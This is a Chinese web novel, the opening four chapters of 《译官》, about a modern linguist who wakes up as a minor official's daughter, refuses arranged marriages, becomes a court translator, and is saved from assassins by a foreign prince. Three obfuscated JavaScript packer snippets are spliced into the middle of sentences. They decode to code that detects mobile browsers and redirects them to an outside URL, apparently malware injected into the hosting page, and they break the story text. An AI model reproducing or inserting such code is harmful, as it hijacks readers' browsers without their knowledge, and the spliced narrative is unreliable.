《译官》 1. 穿越 三伏暑天,东方初白,日光透过窗上裂痕稀碎地照亮了古书。 屋内暗淡的烛光映在曲聆烟泛着血色的眼眸中,她已几日未曾好好休息,连翻书都觉得无力,泛着一股恶心劲。 “小姐,王氏公子递了请贴。”侍女平淡道,仅是点到为止。 曲聆烟仍低垂着头,漫不经心地看着古书,声音疲惫:“这位出身贵族的王氏公子是父亲眼中女婿的最佳人选吗?” 侍女不语,利索地给曲聆烟梳了流苏髻,将娇粉色的衣裳放在一旁。见她没有任何动作,无奈转身离去。 侍女离去的脚步声渐轻,曲聆烟才合上古书,换上了更为淡雅的蓝白色萝裙。 * 曲聆烟作为最年轻的古汉语研究专家,节连轴转繁忙会议中眼前一黑,再睁眼便身处异世。 几月前,曲二小姐感染风寒接连几日高热,大夫都说挺不过去了,不成想曲二小姐奇迹般地痊愈,性格转变许多,却无人在意她的变化。 毕竟曲聆烟的父亲五品小官曲宏达,需要的不是曲聆烟,而是一位能助他攀到金龟婿,帮曲大公子日后仕途一帆风顺的曲二小姐,不管曲二小姐是谁,只要在他的掌控中,即使换个人他也没有丝毫意见。当事情真正脱离他掌控之中时,曲二小姐名下之人他也不介意换一换。 穿越后的曲聆烟自以为将过上清静平凡的日子,怎料是像商品一样供他人挑选,她已弄砸三场这样的“交易”,今日是第四场。 作为现代独立女性,婚恋自由观念影响深刻的曲聆烟难以接受“父母之命,媒妁之言”的思想,更何况还是拿自己的婚姻大事为别人铺路。 * 劣质木材制成的马车外挂着豪华的装饰,曲聆烟尚未闭目,听向来清静的城北异常嘈杂,还未向侍女询问,娇嫩的肩膀撞在靠垫上发疼。马车被迫停下,曲聆烟呼出一口气,在吵闹声中听到了一种熟悉的语言。 她手中折扇一偏掀起丝绸帘子的一角,只见宝马香车拦路,结驷连骑中为首的几位穿着上好的丝绸,以轻纱遮面。坐在汗血宝马上的男人用京城人陌生的语言极力想与巡查的守卫交流,双方语言不通如同争吵一般。 曲聆烟垂眸,脑内划过无数想法。那位异域之地来的男人所讲语言正是她猝死前最后一场会议的主题,京城语言与西域相差甚大,放任几人这样交流,今日怕是难以赴约,但若是不顺着曲父的意,又要忍饥受饿。只待她寻条出路,必过上称心如意的日子。 曲聆烟长叹一口气,认命走下马车。身边的侍女不明其然,看着那抹蓝白色的身影走向坐在高马上的男人。 裙摆晃荡,一袭蓝裙将少女显得端庄优雅。男人的目光看向上前的女子,顿时全神倾注,瞬息间时光都同静止般,只留下一味梨香。 “几位公子似是西域之人,奉命进京。”曲聆烟在旁略听几句,对着巡查守卫好声好气道。 巡查守卫冷哼一声:“奉命进京?身上可有证明身份的腰牌?小姐您莫不是不知我们与析关关系紧张?若是析关之人随意进京,恐是保不住我的脑袋。” 曲聆烟蹙眉,她向来不爱多管闲事,明哲保身才是要紧事,只是眼下混了这趟浑水,干脆最后在帮这行不幸运的西域之人。 “公子身上可有能证明身份的腰牌?”曲聆烟用柔和的西域话问道。 为首男子听到熟悉西域话一愣,翻身下马,衣不沾尘,解下腰牌递给曲聆烟的侍女。 “你是析关人?”男子问道。 曲聆烟还没翻看腰牌,听此话瞬间心头一颤,竟真是析关人,这趟浑水混大了。手上翻过刻有西域语“析关”两字的另一面,刻有似虎一般的符号。 脸上机械的淡笑稍挂不住,摆手示意侍女递给守卫查看。 “公子若是析关皇室之人,奉命进京可有文书?何不带上会两国语言的译官?”趁守卫检查腰牌的时间,曲聆烟对男子说道。 曲聆烟话音刚落,男子身后之人便主动送上文书给守卫,解释道:“译官在进京之后便莫名失踪,为赶约定之时无奈作出此举,幸得姑娘相助。” 男子的侍卫做事倒麻利,而男子脸色却莫名变差了。 西域语所写文书繁长,仅瞥见文书内容一眼,曲聆烟便知几人是秘密前来,暗道不好。按照她近十年前青春时代看小说的经验,像自己这样的炮灰在知道惊天大秘密后就要祭天了。 最终只指着末尾析关皇室的印章,道:“此印是真。” 守卫见状不好再敷衍对待,忙让身边人去请译院的译官来查看。 三伏炎热,纵是侍女撑伞扇风也难以消暑,曲聆烟正欲转身回马车,身旁传来叮叮当当声响。偏头却见西域男子炽热的目光,身后侍卫递来一串挂着金银珠宝的铃铛。 男子目光温柔,用较为柔和的声音道:“谢礼。” 一穷二白屋子都漏风的曲聆烟用饱含爱意的眼眸看着金子,口不同心:“举手之劳罢了。” 见曲聆烟推辞,对方也只好将谢礼收回,也收回了曲聆烟渴望的眼神。 男子意识到眼神不妥,面纱下笑容僵了一瞬,话语中带了一丝试探:“姑娘精通西域话,可是译官?” 曲聆烟淡淡一笑,她若是译官倒好了。便不用在烈日下待译院会西域语的译官鉴定,也不用被曲家当成联姻的工具,更不用待在漏风的屋子内,吃睡不香。 “困于府邸之中,尚未达成志向。” 留下这句话后曲聆烟转身回了马车,闭目养神想着刚才所发生之事。 日光倾泻映亮了男人深邃的眉眼,看着远去的倩影,鼻间萦绕着梨香,和善的目光瞬间染上倾略性。 身后的侍从不敢上前,捉摸不透皇子的心思,与其一同目送曲聆烟离去。 * 与第四个联姻对象的见面结局以失败告终。 屋内弥漫着劣质梨香的气息,饶是训练有素的侍女都承受不住,曲聆烟却兴致盎然地开始研究古书。 这是曲聆烟特意从街边小摊所买梨香味的香露,热情的摊主更是赠送了同味道的熏香。不枉她昨日盯着悄悄用熏香熏了一晚的衣服,再加上大量的香露,整个人如同行走的香炉般。侍女都难以忍受,更别说王氏公子那般不喜香之人,见面仅一炷香便匆匆离场两次,交流了寥寥数语就顺利结束。 不大的屋内落针可闻,急忙的脚步声打断了平静生活。 “曲聆烟你给我滚出来!”曲父匆忙赶来,恼怒喊 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076030|163380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 道。 靠在窗台边险些睡着的曲聆烟对此早有防备,扔下自制的简陋耳塞出了房门。只觉得曲父头发都似要翘起,身旁烟雾缭绕如同怒火。 “这回的王氏公子又让你有什么不满意的?”曲父怒道,“名门贵族,家财万贯,外边多少人不可多得的好夫君,怎么同你偏偏初见就扫兴而归。” 比曲聆烟先到的是身上的梨香,充斥在曲父鼻间,让曲父不动声色地退了半步。 听完曲父所说,曲聆烟在心里冷笑一声,她已打探过王氏公子的为人,登徒浪子,风花雪月,不思进取,心高气傲。王家独子已经声名远扬,架不住王家的背景,大把人家争先恐后将女儿往王家送。 曲聆烟心中不甘,若是让她穿越成王家的女儿,定是要趁朝堂初鼓励女子当官之时,奋发读书,考取功名,打破现世对女子的偏见。 只可惜……曲聆烟忍住了幻想,当下要紧之事还是先别把自己嫁出门,一切都能再做打算。 “父亲也知王氏公子的为人,何必与我虚伪说这些。”曲聆烟冷冷怼道,“我的婚事不过是您仕途上的垫脚石,哥哥未来的合作人。” 被曲聆烟毫不留情揭穿,曲父这下真是胡子吹飞天了,气上心来想要动手被曲母拦下劝说。 “烟儿现在还小,你如此着急作甚,婚事还能慢慢谈。”曲母柔情劝道,不忘给曲聆烟使眼色让她服个软好向先前一样翻篇,再不断重复刚才之事。 曲聆烟低下头,曲父见状刚准备顺着台阶下,她却只是将出来时有些乱的衣裳稍加整理。 抬头时,带着做学术报告般坚定的语气道:“父亲您死心吧,且不说高门贵族能否看上我们这种小门小户,饶是真的中意,我也不会妥协的。” “谁也别想拿我的婚事来铺路。” 话被说绝,曲父气上心头,指着曲聆烟半天说不出话,用眼神狠狠地瞪着她。 剑弩拔张的气氛在沉默中愈演愈烈,曲父用狠厉的眼神看着曲聆烟,而曲聆烟在学术界身居高位养成的强大气场隐隐压制着曲父。 沉默最终被曲父打破,他用另一只手捶着胸口,骂道:“家门不幸啊!家门不幸!我今日便要同你断绝父女关系!” 曲父话音刚落,未等曲聆烟作出反应,小侍火急火燎跑来,喊道:“大人……大人……” 曲父打断小侍说话,“莫急,暂且先让我清理门户……” 小侍后半句话没刹住,接着喊道:“是宫里的人带着圣旨来了!” 在场的几人皆是一惊,也顾不上什么清不清理门户的事,忙往府门跑。曲父更是在途中慌不择路摔了几跤,被曲聆烟偷偷踩了几脚,踩完还会得到女儿虚假的关怀。 曲聆烟边踩却顿感不妙,不会是她爹贪污腐败了要被清查吧?难道是徇私舞弊? 只见府门以太监为首来了一众人,声势浩大。 曲聆烟心想:完了,看样子是要被抄家了。 身着不凡的大太监面无表情地走至府门正中央,见曲父带着一行人下跪接旨,才展开圣旨缓缓念道: “奉天承运,皇帝诏曰:曲聆烟,尔才识卓绝,德才兼备,今命尔为译官,译传外文。尔其竭尽心力,以任其事。钦此!” 2. 译官 倾泻的日光映亮曲聆烟侧脸,落在漆黑眼眸中,如受圣光加冕的神女。 曲聆烟正是在众人沉默震惊之时端庄大气谢恩,还未上任便有了混迹官场许久的气场。 对上太监颇有打量的眼神,曲聆烟复杂的笑容稍挂不住,仍是和气地请太监喝茶。 曲父这才同大梦初醒般开始主持局面,看着女儿进宫谢恩的背影思考良多,忽恍然大悟对曲母道:“烟儿定是风寒后脱去从前拙笨,同之前已是天壤之别。周儿莫不染次风寒,高中状元在望。” 曲母头昏脑涨,知道自家夫君只是个死读书的靠不住,无奈附和道:“烟儿长大了,当上女官此后也好为夫君分忧。” 只是曲聆烟当上的是译官,她自幼养在深闺,如何得知复杂的外文?曲父曲母同时想到这个问题,自家女儿好像真的脱离了自己的掌控,不再是从前的笼中鸟了。 她的婚事,往后也不是两人能随意掌控的了。 * 曲聆烟进宫谢恩一路顺畅,回到明显气派许多的竹幽居后也不知自己是如何当上了译官。唯一的可能便是今日所遇的西域人,兴许是朝廷自那位宋大人上位后鼓励女子做官,自己赶上了好时候,也摇身一变成为了译官。占尽天时地利人和的便宜,这是曲聆烟唯一能想到的解释。 她深研古代语言数年,译官之职她大能担任。多读书真是有好处的,不枉她多年对古代各语言的研究,和她当初对西域语的努力钻研,才能在今日当上译官。 万籁俱寂,月明星稀,沉溺于夜色中的曲聆烟对着皇宫方向出神。 今天遇到的那些人,究竟是什么来头? 译官之路,往后是否具有重重凶险? * 次日,晨光微熹,译院清静,不同其他部门那般繁忙。 曲聆烟穿着译官正式的官袍,脱去了闺阁少女的羞涩,正气凛然。一行一动毫不小气,非几日形成。 门卫见此女大步流星走进译院,忙将人拦下,道:“小姐若是有事求于译院,需有正规手续。” 曲聆烟停下脚步,不怒自威,身后侍女适时开口:“我家大人是新上任的译官,今儿初来译院。” 门卫这才见她身着官袍,腰间带着译院腰牌,一拍脑袋放行,祈祷着这位大人气量不同那位林大人一般狭小。 按理来说曲聆烟应先见过译院院首陈渊,但他今日进宫与陛下商讨事宜,此刻不在译院中。虽没能见到院首,该有的工作却是一个都不少。 她身处的西域语部门人不多,仅有两三个同事,天朝与西域向来交流较少,于是人员逐年减少。 看着三尺之长薄如蝉翼,部分破损的宣纸,曲聆烟感觉自己被为难了。 盯着同事探究的目光,她拿起宣纸开始阅读。十几尺开外同事的议论声也清楚地传入她耳中,难免让人分心。 “女子当官?怕又是家中权势滔天来体验小官生活了。”此人语气不满,空气中弥漫着一股酸味。 “林兄你可小点声,当朝那位可是你我可议论的。唉,我们西域语部门今年难得来人,却还是只有我们几个能做事的。” “院首怎会将当年西域小国的文书交由她翻译?这文书字迹不清,些许还非西域语,篇幅长,在译院几个部门流转小半年了也才仅有第一句……” 曲聆烟长舒一口气,收心好好阅读文书。 此文书的确同几人所说那般复杂,但对于曲聆烟这种了解古代大部分地方语言的专业古代汉语研究学者来说,就如同现代人看汉语一般,就连字迹不清的地方,她也能根据上下文推测出相应的意思。 曲聆烟再抬头时已是夕阳西斜,文书的内容繁多复杂,饶是她也花费了一整天的时间。那些议论她的同事,许是好奇她是否真有本事而还未归家。 提笔写下最后一句,一整天没见到院首的曲聆烟准备回家远离讨厌的同事们,在出门的刹那,身旁有人脚步匆匆擦肩而过。 几瞬后,一个威严正气的声音响起:“这文书是谁翻译的?” 院里一片寂静,曲聆烟折返脚步,在人身后几步站定,见来人气宇轩昂,身上官袍颜色显然更加尊贵,便知其是译院院首陈渊,开口道:“院首,此是下官所翻译。” 陈渊听到陌生的声音转身,却见一陌生女子,不明其然,忽想起陛下昨日往译院塞了个人,自己随手分配到西域语部门来了,许就是这人。 陈渊道:“这文书语言复杂,内容繁多,真是你一人所翻译?你可担起后果?” 曲聆烟听罢,平淡道:“此文书确是下官一人所翻译。” 陈渊将文书与翻译对照,粗略扫过竟真是语言准确,一处错处也未找到。 他道:“是谁让你翻译的?” 曲聆烟轻扫一眼扎堆的同事,道:“林译官说这是院首所分配给下官的工作。” 陈渊闻言也瞥了一眼林极松所在之处,心道译院竟是真来了个人才,刚才陛下所说之事那也好办了。 林极松被陈渊一扫,膝盖有些软,出言解释道:“昨日您说将书桌上的文书交由今日新来的译官翻译,下官于是转交了……” 却不知道为什么会是那张复杂的文书。林极松在心里大喊冤枉,虽对曲聆烟有偏见,但在曲聆烟到译院之前他便先安排好了,也不知为何会让她翻译这张文书。 陈渊不语,放下文书两手背于身后,转而提起另一件事,道:“宫中明晚开设宴会,特要求会西域语的译官进宫陪同,明日各位便随我一同进宫。” 林极松听了院首的话一喜,进宫可是升官的好机会,也暗暗开始使绊子,道:“曲译官资历不深,不如……” “曲译官既能独自翻译这流转多部门半年的文书,想必单翻译西域语自是轻松。”陈渊看着曲聆烟,目光中带着打探,“译院向来是能者为上。” 听陈渊如此说,曲聆烟也开口:“下官明日一定准时到达。” 被两人几言中下了定数,林译官心中气急败坏,纵是曲聆烟独自翻译了文书,他也依然觉得事有蹊跷,新来的译官怎么能一个人解决众人都难以解决之事,说不定是与院首事先计划好,两人一唱一和为她出风头。 随着陈渊的离开,曲聆烟也不想在译院多待片刻,盯着嫉妒、好奇、探究的目光离去。旁人之事与她无关,她只望做官青云直上,不受他人束缚。 不大的译院中,大家各怀心事。 * 结束在译院的勾心斗角,回到看似风平浪静的曲家,曲聆烟 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076031|163380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 却是一点都不得放心下来。曲家人也是惯会为难她,她如同在风雨中漂泊的小船,一刻不得归宿。 果然如曲聆烟所料一般,曲父请她一同于主院吃饭,丰盛的菜肴下藏着各自心事。 曲聆烟这也是第一次见到自己的哥哥,与曲父父子相严重,就是一个无趣书生。但曲父当年科考一路直上,而他几年名落孙山,也难怪曲父着急拿自己的婚事为他铺路。 曲父率先开口道:“烟儿如今当上女官,长大了,今后便能多帮衬家中。周儿以后踏入仕途,对烟儿来说也有好处,兄妹俩要互相扶持,不忘父亲的教导。” 曲聆烟冷笑一声不接话,昨日还要同她断绝父女关系,今日便能让她帮衬家里,真是一日一个样。曲俊周倒是认真回曲父的话,一副父慈子孝的场面。 “不过烟儿你是从哪学得那些外文?”曲母边给曲聆烟夹菜边问道。 几束目光看向曲聆烟,被人注视一整天的曲聆烟厌烦了这种感觉,只想早点结束这场鸿门宴。 “幼时奶娘常在西域生活,与奶娘多学了几句西域话而已。”曲聆烟淡淡回答道,这个问题的说辞是她早就想好的,谁又会知道不受重视的曲二小姐的奶娘是不是在闲鱼生活过呢? 曲家人并不知今日在译院发生的事情,对她的说辞虽有怀疑,也大致相信了她会西域语是奶娘教导的原因,若是再知道曲聆烟不止会西域语,这个理由就难说通了。毕竟就连当今译院院首陈渊也不一定会很多语言,何况初入官场的曲聆烟。 曲父努力回忆着曲聆烟的奶娘,印象不深,开口大笑:“那奶娘也是好玩才教了几句,没成想烟儿如此聪慧。奶娘离开曲府这么多年,烟儿如今也长大了……” “是时候该寻一门如意郎君了。”曲母接话。 夹菜的筷子一顿,被曲聆烟放下,冷漠道:“烟儿如今刚当上译官,根基不稳,婚嫁之事还需暂缓。” 曲父点头,道:“烟儿如今当了女官,先前那些人自是不配烟儿了,不若……” “父亲您死心吧,我说过了,谁也不能拿我的婚事来铺路。”曲聆烟冷冷道。 “你父亲是真心希望你能有个好夫家。”曲母劝道。 两人一唱一和,演成了一对父母对女儿的良苦用心,全说成了曲聆烟的不是。 虽没对曲家抱有什么希望,但曲聆烟也没想到自己从闺阁女子摇身一变成为译官后,对于曲家却成了更好的联姻筹码,先前不好攀附的贵族如今倒是有可能了。 这场饭吃得除曲俊周以外的人都不顺心,各有所思,最终被曲聆烟一拍桌子不欢而散了。 曲聆烟还没回到竹幽居,就被人在半路叫停。 “妹妹。” 来者是曲俊周。 “你若是来联络兄妹感情那就不必了。”曲聆烟冷淡道。 却见曲俊周一副受伤的表情,语气颤抖:“我知我近几月为了读书与你少许往来,你对我冷淡是应该的。” “但应该不是这个原因吧?” 曲俊周一改之前懦弱气场,语气铿锵有力。 “烟儿从未有什么会西域语的奶娘,我与烟儿自幼感情深厚,你能瞒过父亲母亲,你瞒不过我。” “你究竟是谁?” 3. 宴会 刹那间空气都泛起冷意,曲聆烟心里一凉,脑内不断思考解决方式,好在现在只有她和曲俊周两人,更多人她就糊弄不过来了。 “哥哥若是真关心烟儿,又怎会不知烟儿的竹幽居漏风不断,初春之时染了一场风寒,挺过来后,烟儿便觉得自己不太一样了。”曲聆烟的语气诚恳,说得全然同真的一般,不过曲二小姐却是真的没有挺过来。 “那你为何要欺骗父亲母亲?” “哥哥要看烟儿被当成妖孽赶出去吗?”曲聆烟微微一笑,“况且哥哥真正关心的,是烟儿的婚事吧?” 若是真的关心,便也不会放任妹妹整日处于水深火热之中,曲俊周最关心的只有自己。 曲俊周质问的话语一塞,被堵得一句话也说不出,支支吾吾道:“烟儿我是真心关心你的。” 曲聆烟抓到对方话中的弱点,趁势进攻:“哥哥若是真心关心,而不是想要拿烟儿的婚事为仕途铺路,就去告诉父亲,你不要用烟儿的婚事来铺路,要靠自己做官。” 少女的裙摆被风吹起,目光强硬地看着对方,丝毫不准备退让。 对方语塞良久,看着自己本就陌生的妹妹更显陌生,愤愤离去之时还听到身后少女娇声。 “哥哥,想拿我婚事为仕途铺路的前提是哥哥要能当上官哦。” 看着对方离去的背影,曲聆烟故意用娇俏的嗓音对对方说道。果然曲俊周心里泛起了一股无名火,离去的脚步愈来愈快。 她倒不怕对方揭穿自己,曲父这种人,利益才是他心里最重要的,若是有朝一日需要牺牲曲俊周来达成目的,那曲俊周也只会是今日的自己而已。 * 此次皇宫宴会非同往常那般热闹,相较之前更加重视,巡查守卫多了一倍,宫外却没有什么风声。 曲聆烟见状便知宴会主角,定是前几日她所遇的那些西域中人,也难怪陈渊进宫之后回到译院便要会西域语的译官一同进宫。曲聆烟不断盘算着,她尚不了解其余的译官水平如何,就言自身,她的能力倒是不成问题。 精美的菜肴不断流水般送上来,宴会还未开始就充满着奢靡的气氛,皇帝想要对析节示威之心明显。 在宴会开始后,曲聆烟规矩地站在穿着华丽的女子身后,两人被轻纱隔开,隐约感觉有一股视线注视着自己。 她面色如常,却觉视线愈加热烈,在夏日湿热氛围中却觉喉间燥热,心中闷着一口气。 借着轻纱的遮挡,曲聆烟不动声色地观察周围,在极具奢靡的气氛中,与一道带着侵略性的目光对上。 顺着目光看向来者,男人气定神闲,拿起酒杯轻抿一口,一双漆黑的眼眸透过轻纱直视着曲聆烟,炽热带着探究的目光让她喘不过气来,心中的气更甚。 接着男子与旁人谈笑几句,一炷香的时间后,站在男子身后的译官便请求与曲聆烟交换翻译的对象。 曲聆烟见此译官神色恳求,偏头同自己的顶头上司陈渊对视一眼,见陈渊皱着眉头神色严肃地瞪了俩人一眼,随后点了点头。 见状曲聆烟也只好答应了这位译官的请求,被换到眼熟的男子身后。 男子并没有任何表示,只是又举起酒杯一饮而尽,连背影都透着愉悦。 眼下宴会正式开始,曲聆烟收起对男子奇怪行为的探究,开始认真履行自己的翻译工作。 高位的皇帝举起酒杯,道;“诸位远来楚国,当以促两国和平交流。” 曲聆烟刚开口翻译,男子便轻笑一声,倒让她感到莫名,秉承着对职业的认真和全家的负责,用一口流利的西域语翻译。 在几番谈话下,曲聆烟也终于得知来者是析节的皇室,为缓解两国紧张的边境而来,眼熟又陌生还带着些许莫名其妙的男子是析节皇室敬王。 深邃的眉眼带着很浓的西域人特征,身着价值不凡的丝绸,金银珠宝戴满全身却不显俗,贵气逼人。 曲聆烟只觉对方身世不凡,原来是析节皇室,难怪自带着上位者气场。 但也无意深思,几柱香时间内,原是她翻译的女子所说西域语夹杂着各种方言,不由得为那位译官担忧。 不管有什么矛盾,曲聆烟都很清楚“一荣俱荣,一损俱损”的道理,至少现在整个译院是一条船上的人。 果然,那位译官在女子说完一句话后,冷汗不止,几息过去都说不出一句话,曲聆烟便知对方是不知女子所说的几句方言。 在偌大的宫殿中,此刻落针可闻,在场的译官心跳不由得快了几分。 曲聆烟本不敢随意开口,又看到那位译官向自己投来的求助目光,在巨大的心理压力之下犹豫开口,语气平淡,如同在进行一场很平常的翻译,而不是一场气氛表面轻松实则处处试探的两国交谈。 清脆悦耳的声音补上了宴会交谈的空缺,见危机过去,译官们各抹一把汗,译院院首陈渊却依旧是一副轻松的表现。 曲聆烟见宴会气氛如常,才悄悄长舒一口气,顿时沉重的身体都轻松了不少。 宫殿又恢复热闹却各怀心事的氛围,被多道视线探究着的曲聆烟已神游云外。 宴会将近结束之时,曲聆烟只待结束任务回家,却听到敬王用女子同样的方言用仅有二人能听到的声量说话。 “这位译官可否与本王单独待一会?” 神色瞬间回到宴会现场,曲聆烟被吓得不敢再走神,生怕多说一句就被安上通敌的罪名,思考再三回答:“这可能不太符合规矩。” 敬王听后再饮一杯,脸上挂着笑意,并未多语。 两人的对话没有掀起现场的一丝涟漪,平静的水面经过宴会也只是维持原样,两国相互试探的话语中找不到一丝真心。 被明暗中关注着的敬王率先以身体不适的借口离场,曲聆烟松了一口气,今晚的任务算是完成了。 不料身旁的译官也找了借口,使得她又重新当上了那位说话中总夹杂着西域语方言的女子的译官。 好在在剩余不多的时间中并未出什么乱子,甚至在散场之时被女子悄悄塞了块金子打造的簪子,以及小声的一句:“抱歉,把你牵扯进来了。” 听到这一句的曲聆烟愣神一瞬,今晚暗流涌动之下,有人把自己牵扯进其中。 这样说来是有人故意将自己安排给这位身份不明的女子翻译,认为自己不会这种方言的翻译,热心敬王出手相助,最终还是自己翻译保全译院。曲聆烟想着,顿时冷汗直下,和蔼的气氛中只觉得慌,来不及收下迟迟归来的译官的感谢,便先一步准备回家保命。 于是也没看见身后译官奇怪的眼神,和一只藏在紫色衣袖下骨节分明粗糙 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|15076032|163380||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的手打出暗号。 “她的死,足以引起几番势力的混乱了。” “大人,她的身份……” “有时,这种蝼蚁作为开端才好。动手。” * 夏夜湿热,京城守卫更加,扰人思绪。 在马车上枕着软垫的曲聆烟晕乎乎地半闭双眼,听车外声音逐渐变小,便知是进入了城北的范围,觉得从窗帘中透过的光都逐渐淡了下来。 马车忽地一震,曲聆烟扶着墙边坐起,手上摸到冰凉的触感,先前那些困倦全然消失,她僵硬侧身,看到一把尖刀插在自己身侧。 曲聆烟被吓一跳,下意识站起身,狭小的空间不足以让她站立,碰到头后又坐下了。 她强行稳定着自己的心绪,掀开窗帘才发现马车被开进了城北某条漆黑的巷子中。 平时上马车都要人扶的曲聆烟此刻动作迅速地跳下马车,下一秒来者就一刀从窗户砍进马车。 月光下银色的闪光映在曲聆烟眼中,孤独绝望感涌上心头,与马车上带着黑色面罩的人对视着,从对方阴狠的眼睛中看到自己的倒影。 曲聆烟顿时也不顾自家马车上还有多少东西没拿走,先保命要紧。 来者匕首利刃插进木质车厢里拔不出来,见状弃刀直奔曲聆烟而来。 自知跑不过对方的曲聆烟不抱希望地在身上寻找可以保命的东西,宴会上女子给的金簪在不经意间掉落,穷得可怜的曲聆烟敏捷弯身捡起簪子,死也要和金子死在一起。 来者一双手直掐曲聆烟的细脖,面罩下的嘴脸被遮挡完好,没露出一丝破绽,明显是有备而来。 捡起金簪的瞬间,在月光的照映下,金色中一抹银色一闪,曲聆烟立刻意识到什么,拔出金簪的一端,露出金簪中银色的刀片。 被死死掐住脖子的曲聆烟也把刀抵在了对方的脖子上,神思恍惚之中一股湿热洒在自己的脸上,一双手无力撒开,忽得新鲜空气后大口呼吸起来,捂着心口意识不清,往地上大口吐着鲜血。 挡住月光的人倒下,却不见月光,而是另一个阴影。 曲聆烟抬头,看见的是倒下的黑衣人尸体,尸体脖子上不断涌出鲜血,和尸体身后拿着金簪的人。 本觉得安全了的曲聆烟顿时瞳孔紧缩,眼前景象模糊,才发觉自己手中的金簪在不知什么时候被自己松手丢下了。 陷入绝望之境的曲聆烟闭上了眼,听到了被强压怒火努力保持平静的声音。 “抱歉。” 一口熟悉又陌生的西域语,曲聆烟泪眼蒙眬地睁开眼睛,努力辨认眼前人。 男人抿唇,半晌后才纠结道:“我来的有些晚。” 曲聆烟这才认出救自己的男人是宴会上析节的敬王,心中警惕不减,口中鲜血糊满口腔,模糊道:“敬王出手相助在下已是感谢,何有晚来一说。” 衣袖抹清眼眶中的泪水,犀利的眼神对上敬王,在曲聆烟明显察觉到自己被卷入某股实力中后,面对自己的救命恩人,曲聆烟也依旧选择用尽量清晰的西域语问道:“你究竟是谁?” 身为楚国人,析节人根本没必要救自己。曲聆烟无比清楚这一点,看着对方眼眸,没有一丝退让。 敬王略显尴尬,用真挚的语气开口。 “析节皇室敬王,燕辰。” 4. 译院 夜雾为紧张的气氛覆上一层纱,拢着少女清澈的双眸,在月光下更显其娇弱。 危机重重的黑夜中,燕辰只觉少女可怜无助,心脏猛烈地跳动着,许是刚才争斗所影响,思绪不清。 少女顺着心跳节奏开始动作,在争斗中扯乱的衣裳很快被整理好,恢复了往常端庄模样。 “今日之事,多谢了。”曲聆烟抬眼,对着燕辰捉摸不透的身影说道。即使对方救自己这件事再怎么想不通,总归是对自己有情。 夜色朦胧,曲聆烟知晓自己不可在外多待,恐陷入更危险的境界,匆匆就辞别燕辰。几息后,又回到巷子中,望着燕辰清理现场的背影,神色纠结。 只待蝉鸣响了又响,盖过被惊扰的心跳后,燕辰才慢悠悠地起身作出准备离开的样子。燕辰已然跨出几步,身后少女都没有开口的意思,他终是没忍住,用柔和的嗓音道:“小姐还有事情吗?” 西域之人嗓音本就更加粗犷,强压出的柔和混着他温和的行动,无不是对曲聆烟主动示好的表现。 见对方先开口,曲聆烟也不再扭捏,求助道:“车夫不见了。” “嗯。”燕辰应了声,“估计是死了吧。” 许是意识到自己流露出的一瞬冷漠,燕辰补救般道:“也是可怜人。” 察觉到曲聆烟为难的心情,燕辰撇开脸,大步走向马车车头,神色自若,道:“我送小姐一程。” 直到燕辰坐上马,曲聆烟才如梦初醒般看向对方,皱眉道:“那位车夫要是死了……” 对着曲聆烟的目光,燕辰似乎明白了她在为难什么,下马转身再进了巷子,出来时已和车夫的外貌身形一致,再翻身上马,偏头示意曲聆烟上马车。 城北一带虽说守卫较少,但会有巡逻守卫来这边,听着远处的动静,曲聆烟咬牙上了马车。 不管怎样,先活下去再说。 * 夜色中,一辆带着各种刀痕的马车驶入了曲府。 曲聆烟刚下马车便被侍女强行扶着往书房方向走,她本想再与燕辰谈论今夜之事,却又怕被他人察觉,只得跟着侍女的步伐走。 侍女老实本分,一路上半垂着头,观察了半路,曲聆烟才放心她没有看到马车上的刀痕。 沿着小路走了约莫半柱香时间,在燃着微弱烛火的屋前停下,侍女为她打开门,只待她进去便关上门。 曲聆烟紧张地理着衣裳,将皙白脖颈上的淤青遮挡住,步伐不稳地走进书房。 书房里仅靠几盏烛火取亮,曲父就在微弱的烛火中气定神闲地写信。 曲聆烟没等曲父说话,先一步坐了下来,给自己倒了杯微烫的茶水缓神。 看着已经开始喝茶的曲聆烟,曲父愣神一瞬,面色如常般继续写信,假装不经意间开口道:“烟儿啊,你对李家公子了解如何?” 见曲父只是提及联姻相关,曲聆烟竟莫名松了口气,道:“就算不嫁给王家公子还有李家公子,父亲倒是爱关心外面的公子,不若多关心哥哥读书。” “你心气这么高,想嫁哪家公子?”曲父一听曲聆烟说话就气得吹胡子,声音不免提高了些,“还是看不上那些公子,想要高攀皇室?” 曲父话音刚落,自觉失言,皇室并非他这种小官员可以随意议论的。 两人还没例行进入僵持阶段,就听屋外有同金属落地般的声音。 曲父刚议论完皇室,神经紧张,大喊道:“谁?” 